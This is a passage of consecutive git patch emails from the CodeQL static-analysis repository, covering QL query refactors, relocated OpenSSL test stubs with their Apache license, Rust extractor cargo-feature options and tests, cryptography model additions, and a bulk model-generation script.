getStreamMethodName()] ) @@ -259,9 +263,9 @@ private predicate hasNonStreamSourceLikeUsage(PipeCall pipeCall) { /** * Holds if the pipe call destination stream has an error handler registered. */ -predicate hasErrorHandlerDownstream(PipeCall pipeCall) { +private predicate hasErrorHandlerDownstream(PipeCall pipeCall) { exists(ErrorHandlerRegistration handler | - handler.getReceiver().getALocalSource() = pipeResultRef(pipeCall) + handler.getReceiver().getALocalSource() = destinationStreamRef(pipeCall) ) } From d3b2a57fbfd0e16e39482f3bfc08095580d69e5b Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Wed, 28 May 2025 17:34:16 +0200 Subject: [PATCH 434/535] Fixed ql warning `Expression can be replaced with a cast` --- javascript/ql/src/Quality/UnhandledStreamPipe.ql | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/javascript/ql/src/Quality/UnhandledStreamPipe.ql b/javascript/ql/src/Quality/UnhandledStreamPipe.ql index f5d9da6bb58a..2c5716ef527c 100644 --- a/javascript/ql/src/Quality/UnhandledStreamPipe.ql +++ b/javascript/ql/src/Quality/UnhandledStreamPipe.ql @@ -218,9 +218,7 @@ private DataFlow::SourceNode sourceStreamRef(PipeCall pipeCall) { * Holds if the source stream of the given pipe call has an `error` handler registered. */ private predicate hasErrorHandlerRegistered(PipeCall pipeCall) { - exists(ErrorHandlerRegistration handler | - handler = sourceStreamRef(pipeCall).getAMethodCall(getEventHandlerMethodName()) - ) + sourceStreamRef(pipeCall).getAMethodCall(_) instanceof ErrorHandlerRegistration or hasPlumber(pipeCall) } From b1ce44e434cb980ca3c4283a3ef92d078ae29f88 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Wed, 28 May 2025 12:05:18 -0400 Subject: [PATCH 435/535] Crypto: Move openssl stubs to a shared stubs location. Include openssl apache license and a readme for future stub creation. Modify existing test case to reference stubs location. --- .../quantum/openssl/openssl_basic.c | 6 +- .../library-tests/quantum/openssl/options | 1 + cpp/ql/test/stubs/README.md | 4 + .../openssl}/alg_macro_stubs.h | 0 .../includes => stubs/openssl}/evp_stubs.h | 0 cpp/ql/test/stubs/openssl/license.txt | 177 ++++++++++++++++++ .../includes => stubs/openssl}/rand_stubs.h | 0 7 files changed, 185 insertions(+), 3 deletions(-) create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/options create mode 100644 cpp/ql/test/stubs/README.md rename cpp/ql/test/{experimental/library-tests/quantum/openssl/includes => stubs/openssl}/alg_macro_stubs.h (100%) rename cpp/ql/test/{experimental/library-tests/quantum/openssl/includes => stubs/openssl}/evp_stubs.h (100%) create mode 100644 cpp/ql/test/stubs/openssl/license.txt rename cpp/ql/test/{experimental/library-tests/quantum/openssl/includes => stubs/openssl}/rand_stubs.h (100%) diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/openssl_basic.c b/cpp/ql/test/experimental/library-tests/quantum/openssl/openssl_basic.c index 5e3537064b5b..ba6aa805c0b3 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/openssl_basic.c +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/openssl_basic.c @@ -1,6 +1,6 @@ -#include "includes/evp_stubs.h" -#include "includes/alg_macro_stubs.h" -#include "includes/rand_stubs.h" +#include "openssl/evp_stubs.h" +#include "openssl/alg_macro_stubs.h" +#include "openssl/rand_stubs.h" size_t strlen(const char* str); diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/options b/cpp/ql/test/experimental/library-tests/quantum/openssl/options new file mode 100644 index 000000000000..06306a3a46ad --- /dev/null +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/options @@ -0,0 +1 @@ +semmle-extractor-options: -I ../../../../stubs \ No newline at end of file diff --git a/cpp/ql/test/stubs/README.md b/cpp/ql/test/stubs/README.md new file mode 100644 index 000000000000..eacd316b95be --- /dev/null +++ b/cpp/ql/test/stubs/README.md @@ -0,0 +1,4 @@ +The stubs in this directory are derived from various open-source projects, and +used to test that the relevant APIs are correctly modelled. Where a disclaimer +or third-party-notice is required, this is included in the top-level directory +for each particular library. \ No newline at end of file diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/includes/alg_macro_stubs.h b/cpp/ql/test/stubs/openssl/alg_macro_stubs.h similarity index 100% rename from cpp/ql/test/experimental/library-tests/quantum/openssl/includes/alg_macro_stubs.h rename to cpp/ql/test/stubs/openssl/alg_macro_stubs.h diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/includes/evp_stubs.h b/cpp/ql/test/stubs/openssl/evp_stubs.h similarity index 100% rename from cpp/ql/test/experimental/library-tests/quantum/openssl/includes/evp_stubs.h rename to cpp/ql/test/stubs/openssl/evp_stubs.h diff --git a/cpp/ql/test/stubs/openssl/license.txt b/cpp/ql/test/stubs/openssl/license.txt new file mode 100644 index 000000000000..49cc83d2ee29 --- /dev/null +++ b/cpp/ql/test/stubs/openssl/license.txt @@ -0,0 +1,177 @@ + + Apache License + Version 2.0, January 2004 + https://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/includes/rand_stubs.h b/cpp/ql/test/stubs/openssl/rand_stubs.h similarity index 100% rename from cpp/ql/test/experimental/library-tests/quantum/openssl/includes/rand_stubs.h rename to cpp/ql/test/stubs/openssl/rand_stubs.h From 62d0cf7e0d92434219a83a8adb99ede67dcbba9d Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Wed, 28 May 2025 19:55:13 +0200 Subject: [PATCH 436/535] Rust: restrict line and file counts to include only extracted source files --- rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql | 2 +- rust/ql/src/queries/summary/Stats.qll | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql b/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql index 23db30f53e96..6f5feb3ea54b 100644 --- a/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql +++ b/rust/ql/src/queries/summary/NumberOfFilesExtractedWithErrors.ql @@ -10,7 +10,7 @@ import codeql.files.FileSystem -select count(File f | +select count(ExtractedFile f | exists(f.getRelativePath()) and not f instanceof SuccessfullyExtractedFile ) diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll index db0a05629df9..88411aa2db3b 100644 --- a/rust/ql/src/queries/summary/Stats.qll +++ b/rust/ql/src/queries/summary/Stats.qll @@ -35,7 +35,7 @@ int getLinesOfCode() { result = sum(File f | f.fromSource() | f.getNumberOfLines * Gets a count of the total number of lines of code from the source code directory in the database. */ int getLinesOfUserCode() { - result = sum(File f | exists(f.getRelativePath()) | f.getNumberOfLinesOfCode()) + result = sum(File f | f.fromSource() and exists(f.getRelativePath()) | f.getNumberOfLinesOfCode()) } /** From ca661c7877470bd7d4acc7f18834da31f226e75e Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 21 May 2025 15:15:03 +0200 Subject: [PATCH 437/535] Rust: use all features by default --- rust/codeql-extractor.yml | 7 +++-- rust/extractor/src/config.rs | 28 ++++++++++++------- ...tions.expected => functions.none.expected} | 0 .../options/features/test_features_option.py | 26 ++++++++++++++++- 4 files changed, 47 insertions(+), 14 deletions(-) rename rust/ql/integration-tests/options/features/{functions.expected => functions.none.expected} (100%) diff --git a/rust/codeql-extractor.yml b/rust/codeql-extractor.yml index ce876e8d3fff..c7785e5f8c72 100644 --- a/rust/codeql-extractor.yml +++ b/rust/codeql-extractor.yml @@ -45,9 +45,10 @@ options: cargo_features: title: Cargo features to turn on description: > - Comma-separated list of features to turn on. If any value is `*` all features - are turned on. By default only default cargo features are enabled. Can be - repeated. + Comma-separated list of features to turn on. By default all features are enabled. + If any features are specified, then only those features are enabled. The `default` + feature must be explicitly specified if only default features are desired. + Can be repeated. type: array cargo_cfg_overrides: title: Cargo cfg overrides diff --git a/rust/extractor/src/config.rs b/rust/extractor/src/config.rs index 8124f825da3c..a2a74420b5d8 100644 --- a/rust/extractor/src/config.rs +++ b/rust/extractor/src/config.rs @@ -129,6 +129,23 @@ impl Config { } } + fn cargo_features(&self) -> CargoFeatures { + // '*' is to be considered deprecated but still kept in for backward compatibility + if self.cargo_features.is_empty() || self.cargo_features.iter().any(|f| f == "*") { + CargoFeatures::All + } else { + CargoFeatures::Selected { + features: self + .cargo_features + .iter() + .filter(|f| *f != "default") + .cloned() + .collect(), + no_default_features: !self.cargo_features.iter().any(|f| f == "default"), + } + } + } + pub fn to_cargo_config(&self, dir: &AbsPath) -> (CargoConfig, LoadCargoConfig) { let sysroot = self.sysroot(dir); ( @@ -159,16 +176,7 @@ impl Config { .unwrap_or_else(|| self.scratch_dir.join("target")), ) .ok(), - features: if self.cargo_features.is_empty() { - Default::default() - } else if self.cargo_features.contains(&"*".to_string()) { - CargoFeatures::All - } else { - CargoFeatures::Selected { - features: self.cargo_features.clone(), - no_default_features: false, - } - }, + features: self.cargo_features(), target: self.cargo_target.clone(), cfg_overrides: to_cfg_overrides(&self.cargo_cfg_overrides), wrap_rustc_in_build_scripts: false, diff --git a/rust/ql/integration-tests/options/features/functions.expected b/rust/ql/integration-tests/options/features/functions.none.expected similarity index 100% rename from rust/ql/integration-tests/options/features/functions.expected rename to rust/ql/integration-tests/options/features/functions.none.expected diff --git a/rust/ql/integration-tests/options/features/test_features_option.py b/rust/ql/integration-tests/options/features/test_features_option.py index 75c5058be078..41eedfe5d307 100644 --- a/rust/ql/integration-tests/options/features/test_features_option.py +++ b/rust/ql/integration-tests/options/features/test_features_option.py @@ -1,5 +1,6 @@ import pytest +@pytest.mark.ql_test(expected=".all.expected") def test_default(codeql, rust): codeql.database.create() @@ -8,10 +9,33 @@ def test_default(codeql, rust): pytest.param(p, marks=pytest.mark.ql_test(expected=f".{e}.expected")) for p, e in ( + ("default", "none"), ("foo", "foo"), ("bar", "bar"), ("*", "all"), - ("foo,bar", "all")) + ("foo,bar", "all"), + ("default,foo", "foo"), + ("default,bar", "bar"), + ) ]) def test_features(codeql, rust, features): codeql.database.create(extractor_option=f"cargo_features={features}") + +@pytest.mark.parametrize("features", + [ + pytest.param(p, + marks=pytest.mark.ql_test(expected=f".{e}.expected")) + for p, e in ( + ("default", "foo"), + ("foo", "foo"), + ("bar", "bar"), + ("*", "all"), + ("foo,bar", "all"), + ("default,foo", "foo"), + ("default,bar", "all"), + ) + ]) +def test_features_with_deault(codeql, rust, features): + with open("Cargo.toml", "a") as f: + print('default = ["foo"]', file=f) + codeql.database.create(extractor_option=f"cargo_features={features}") From 55791a6c75fb224f8892136164a863b7a2800e2b Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Tue, 27 May 2025 08:49:21 +0200 Subject: [PATCH 438/535] Rust: fix typo Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- .../integration-tests/options/features/test_features_option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/ql/integration-tests/options/features/test_features_option.py b/rust/ql/integration-tests/options/features/test_features_option.py index 41eedfe5d307..bb1b57c8de53 100644 --- a/rust/ql/integration-tests/options/features/test_features_option.py +++ b/rust/ql/integration-tests/options/features/test_features_option.py @@ -35,7 +35,7 @@ def test_features(codeql, rust, features): ("default,bar", "all"), ) ]) -def test_features_with_deault(codeql, rust, features): +def test_features_with_default(codeql, rust, features): with open("Cargo.toml", "a") as f: print('default = ["foo"]', file=f) codeql.database.create(extractor_option=f"cargo_features={features}") From 5fe17abe31a67b0ba9a7c53ffb4ae0596872511f Mon Sep 17 00:00:00 2001 From: Fredrik Dahlgren Date: Thu, 29 May 2025 13:27:11 +0200 Subject: [PATCH 439/535] Added signature input nodes to signature verify operation nodes --- .../codeql/quantum/experimental/Model.qll | 73 +++++++++++++++++-- 1 file changed, 68 insertions(+), 5 deletions(-) diff --git a/shared/quantum/codeql/quantum/experimental/Model.qll b/shared/quantum/codeql/quantum/experimental/Model.qll index 5370f72ef47b..c8b52080ca96 100644 --- a/shared/quantum/codeql/quantum/experimental/Model.qll +++ b/shared/quantum/codeql/quantum/experimental/Model.qll @@ -424,6 +424,17 @@ module CryptographyBase Input> { final override ConsumerInputDataFlowNode getInputNode() { result = inputNode } } + final private class SignatureArtifactConsumer extends ArtifactConsumerAndInstance { + ConsumerInputDataFlowNode inputNode; + + SignatureArtifactConsumer() { + exists(SignatureOperationInstance op | inputNode = op.getSignatureConsumer()) and + this = Input::dfn_to_element(inputNode) + } + + final override ConsumerInputDataFlowNode getInputNode() { result = inputNode } + } + /** * An artifact that is produced by an operation, representing a concrete artifact instance rather than a synthetic consumer artifact. */ @@ -458,6 +469,8 @@ module CryptographyBase Input> { } override DataFlowNode getOutputNode() { result = creator.getOutputArtifact() } + + KeyOperationInstance getCreator() { result = creator } } /** @@ -782,6 +795,17 @@ module CryptographyBase Input> { abstract ArtifactOutputDataFlowNode getOutputArtifact(); } + /** + * A key operation instance representing a signature being generated or verified. + */ + abstract class SignatureOperationInstance extends KeyOperationInstance { + /** + * Gets the consumer of the signature that is being verified in case of a + * verification operation. + */ + abstract ConsumerInputDataFlowNode getSignatureConsumer(); + } + /** * A key-based algorithm instance used in cryptographic operations such as encryption, decryption, * signing, verification, and key wrapping. @@ -1264,6 +1288,7 @@ module CryptographyBase Input> { TNonceInput(NonceArtifactConsumer e) or TMessageInput(MessageArtifactConsumer e) or TSaltInput(SaltArtifactConsumer e) or + TSignatureInput(SignatureArtifactConsumer e) or TRandomNumberGeneration(RandomNumberGenerationInstance e) { e.flowsTo(_) } or // Key Creation Operation union type (e.g., key generation, key load) TKeyCreationOperation(KeyCreationOperationInstance e) or @@ -1325,14 +1350,14 @@ module CryptographyBase Input> { /** * Returns the child of this node with the given edge name. * - * This predicate is overriden by derived classes to construct the graph of cryptographic operations. + * This predicate is overridden by derived classes to construct the graph of cryptographic operations. */ NodeBase getChild(string edgeName) { none() } /** * Defines properties of this node by name and either a value or location or both. * - * This predicate is overriden by derived classes to construct the graph of cryptographic operations. + * This predicate is overridden by derived classes to construct the graph of cryptographic operations. */ predicate properties(string key, string value, Location location) { none() } @@ -1505,6 +1530,20 @@ module CryptographyBase Input> { override LocatableElement asElement() { result = instance } } + /** + * A signature input. This may represent a signature, or a signature component + * such as the scalar values r and s in ECDSA. + */ + final class SignatureArtifactNode extends ArtifactNode, TSignatureInput { + SignatureArtifactConsumer instance; + + SignatureArtifactNode() { this = TSignatureInput(instance) } + + final override string getInternalType() { result = "SignatureInput" } + + override LocatableElement asElement() { result = instance } + } + /** * A salt input. */ @@ -1528,13 +1567,22 @@ module CryptographyBase Input> { KeyOperationOutputNode() { this = TKeyOperationOutput(instance) } - final override string getInternalType() { result = "KeyOperationOutput" } + override string getInternalType() { result = "KeyOperationOutput" } override LocatableElement asElement() { result = instance } override string getSourceNodeRelationship() { none() } } + class SignOperationOutputNode extends KeyOperationOutputNode { + SignOperationOutputNode() { + this.asElement().(KeyOperationOutputArtifactInstance).getCreator().getKeyOperationSubtype() = + TSignMode() + } + + override string getInternalType() { result = "SignatureOutput" } + } + /** * A source of random number generation. */ @@ -2107,6 +2155,7 @@ module CryptographyBase Input> { } class SignatureOperationNode extends KeyOperationNode { + override SignatureOperationInstance instance; string nodeName; SignatureOperationNode() { @@ -2116,6 +2165,20 @@ module CryptographyBase Input> { } override string getInternalType() { result = nodeName } + + SignatureArtifactNode getASignatureArtifact() { + result.asElement() = instance.getSignatureConsumer().getConsumer() + } + + override NodeBase getChild(string key) { + result = super.getChild(key) + or + // [KNOWN_OR_UNKNOWN] + key = "Signature" and + if exists(this.getASignatureArtifact()) + then result = this.getASignatureArtifact() + else result = this + } } /** @@ -2563,6 +2626,8 @@ module CryptographyBase Input> { or curveName = "CURVE25519" and keySize = 255 and curveFamily = CURVE25519() or + curveName = "CURVE448" and keySize = 448 and curveFamily = CURVE448() + or // TODO: separate these into key agreement logic or sign/verify (ECDSA / ECDH) // or // curveName = "X25519" and keySize = 255 and curveFamily = CURVE25519() @@ -2570,8 +2635,6 @@ module CryptographyBase Input> { // curveName = "ED25519" and keySize = 255 and curveFamily = CURVE25519() // or // curveName = "ED448" and keySize = 448 and curveFamily = CURVE448() - // curveName = "CURVE448" and keySize = 448 and curveFamily = CURVE448() - // or // or // curveName = "X448" and keySize = 448 and curveFamily = CURVE448() curveName = "SM2" and keySize in [256, 512] and curveFamily = SM2() From 08277e4eccaf326c82feaa4f1f5f4a8e1f8bd143 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Thu, 29 May 2025 15:31:17 +0200 Subject: [PATCH 440/535] Rust: Refactor type equality --- .../codeql/rust/internal/TypeInference.qll | 109 +++++++----------- 1 file changed, 43 insertions(+), 66 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index fcacfd5d3dad..8399bde8aa80 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -207,81 +207,58 @@ private Type inferAssignmentOperationType(AstNode n, TypePath path) { } /** - * Holds if the type of `n1` at `path1` is the same as the type of `n2` at - * `path2` and type information should propagate in both directions through the - * type equality. + * Holds if the type tree of `n1` at `prefix1` should be equal to the type tree + * of `n2` at `prefix2` and type information should propagate in both directions + * through the type equality. */ -bindingset[path1] -bindingset[path2] -private predicate typeEquality(AstNode n1, TypePath path1, AstNode n2, TypePath path2) { - exists(Variable v | - path1 = path2 and - n1 = v.getAnAccess() - | - n2 = v.getPat() +private predicate typeEquality(AstNode n1, TypePath prefix1, AstNode n2, TypePath prefix2) { + prefix1.isEmpty() and + prefix2.isEmpty() and + ( + exists(Variable v | n1 = v.getAnAccess() | + n2 = v.getPat() + or + n2 = v.getParameter().(SelfParam) + ) or - n2 = v.getParameter().(SelfParam) - ) - or - exists(LetStmt let | - let.getPat() = n1 and - let.getInitializer() = n2 and - path1 = path2 - ) - or - n1 = n2.(ParenExpr).getExpr() and - path1 = path2 - or - n1 = n2.(BlockExpr).getStmtList().getTailExpr() and - path1 = path2 - or - n1 = n2.(IfExpr).getABranch() and - path1 = path2 - or - n1 = n2.(MatchExpr).getAnArm().getExpr() and - path1 = path2 - or - exists(BreakExpr break | - break.getExpr() = n1 and - break.getTarget() = n2.(LoopExpr) and - path1 = path2 - ) - or - exists(AssignmentExpr be | - n1 = be.getLhs() and - n2 = be.getRhs() and - path1 = path2 - ) -} - -bindingset[path1] -private predicate typeEqualityLeft(AstNode n1, TypePath path1, AstNode n2, TypePath path2) { - typeEquality(n1, path1, n2, path2) - or - n2 = - any(DerefExpr pe | - pe.getExpr() = n1 and - path1.isCons(TRefTypeParameter(), path2) + exists(LetStmt let | + let.getPat() = n1 and + let.getInitializer() = n2 ) -} - -bindingset[path2] -private predicate typeEqualityRight(AstNode n1, TypePath path1, AstNode n2, TypePath path2) { - typeEquality(n1, path1, n2, path2) - or - n2 = - any(DerefExpr pe | - pe.getExpr() = n1 and - path1 = TypePath::cons(TRefTypeParameter(), path2) + or + n1 = n2.(ParenExpr).getExpr() + or + n1 = n2.(BlockExpr).getStmtList().getTailExpr() + or + n1 = n2.(IfExpr).getABranch() + or + n1 = n2.(MatchExpr).getAnArm().getExpr() + or + exists(BreakExpr break | + break.getExpr() = n1 and + break.getTarget() = n2.(LoopExpr) + ) + or + exists(AssignmentExpr be | + n1 = be.getLhs() and + n2 = be.getRhs() ) + ) + or + n1 = n2.(DerefExpr).getExpr() and + prefix1 = TypePath::singleton(TRefTypeParameter()) and + prefix2.isEmpty() } pragma[nomagic] private Type inferTypeEquality(AstNode n, TypePath path) { - exists(AstNode n2, TypePath path2 | result = inferType(n2, path2) | - typeEqualityRight(n, path, n2, path2) + exists(TypePath prefix1, AstNode n2, TypePath prefix2, TypePath suffix | + result = inferType(n2, prefix2.appendInverse(suffix)) and + path = prefix1.append(suffix) + | + typeEquality(n, prefix1, n2, prefix2) or - typeEqualityLeft(n2, path2, n, path) + typeEquality(n2, prefix2, n, prefix1) ) } From cb0b566588d6967740429c5fe37fb47d4d3b5901 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 29 May 2025 16:29:19 +0100 Subject: [PATCH 441/535] C++: Put autogenerated models in the same folder structure as Rust. --- cpp/ql/lib/ext/generated/{ => openssl}/openssl.model.yml | 0 cpp/ql/lib/ext/generated/{ => sqlite}/sqlite.model.yml | 0 cpp/ql/lib/qlpack.yml | 2 +- 3 files changed, 1 insertion(+), 1 deletion(-) rename cpp/ql/lib/ext/generated/{ => openssl}/openssl.model.yml (100%) rename cpp/ql/lib/ext/generated/{ => sqlite}/sqlite.model.yml (100%) diff --git a/cpp/ql/lib/ext/generated/openssl.model.yml b/cpp/ql/lib/ext/generated/openssl/openssl.model.yml similarity index 100% rename from cpp/ql/lib/ext/generated/openssl.model.yml rename to cpp/ql/lib/ext/generated/openssl/openssl.model.yml diff --git a/cpp/ql/lib/ext/generated/sqlite.model.yml b/cpp/ql/lib/ext/generated/sqlite/sqlite.model.yml similarity index 100% rename from cpp/ql/lib/ext/generated/sqlite.model.yml rename to cpp/ql/lib/ext/generated/sqlite/sqlite.model.yml diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index e15623e2ddb9..ef2d81c4f84c 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -17,7 +17,7 @@ dependencies: codeql/xml: ${workspace} dataExtensions: - ext/*.model.yml - - ext/generated/*.model.yml + - ext/generated/**/*.model.yml - ext/deallocation/*.model.yml - ext/allocation/*.model.yml warnOnImplicitThis: true From 40d937a2eb7a3fce4f47c4f736af948f2c19d717 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 29 May 2025 17:07:25 +0100 Subject: [PATCH 442/535] Bulk generator: Some imports we will need. --- misc/scripts/models-as-data/rust_bulk_generate_mad.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/misc/scripts/models-as-data/rust_bulk_generate_mad.py b/misc/scripts/models-as-data/rust_bulk_generate_mad.py index 76d67b1fba15..c9ed1e2540e3 100644 --- a/misc/scripts/models-as-data/rust_bulk_generate_mad.py +++ b/misc/scripts/models-as-data/rust_bulk_generate_mad.py @@ -10,6 +10,12 @@ from typing import NotRequired, TypedDict, List from concurrent.futures import ThreadPoolExecutor, as_completed import time +import argparse +import json +import requests +import zipfile +import tarfile +from functools import cmp_to_key import generate_mad as mad From b87ba31c434f7fd59dd094053d291153c7baddf7 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Thu, 29 May 2025 17:08:57 +0100 Subject: [PATCH 443/535] Bulk generator: Get rid of the hardcoded project list and move it into a configuration file. --- .../models-as-data/rust_bulk_generate_mad.py | 70 ------------------- rust/misc/bulk_generation_targets.json | 69 ++++++++++++++++++ 2 files changed, 69 insertions(+), 70 deletions(-) create mode 100644 rust/misc/bulk_generation_targets.json diff --git a/misc/scripts/models-as-data/rust_bulk_generate_mad.py b/misc/scripts/models-as-data/rust_bulk_generate_mad.py index c9ed1e2540e3..48c5c362fec5 100644 --- a/misc/scripts/models-as-data/rust_bulk_generate_mad.py +++ b/misc/scripts/models-as-data/rust_bulk_generate_mad.py @@ -47,76 +47,6 @@ class Project(TypedDict): git_tag: NotRequired[str] -# List of Rust projects to generate models for. -projects: List[Project] = [ - { - "name": "libc", - "git_repo": "https://github.com/rust-lang/libc", - "git_tag": "0.2.172", - }, - { - "name": "log", - "git_repo": "https://github.com/rust-lang/log", - "git_tag": "0.4.27", - }, - { - "name": "memchr", - "git_repo": "https://github.com/BurntSushi/memchr", - "git_tag": "2.7.4", - }, - { - "name": "once_cell", - "git_repo": "https://github.com/matklad/once_cell", - "git_tag": "v1.21.3", 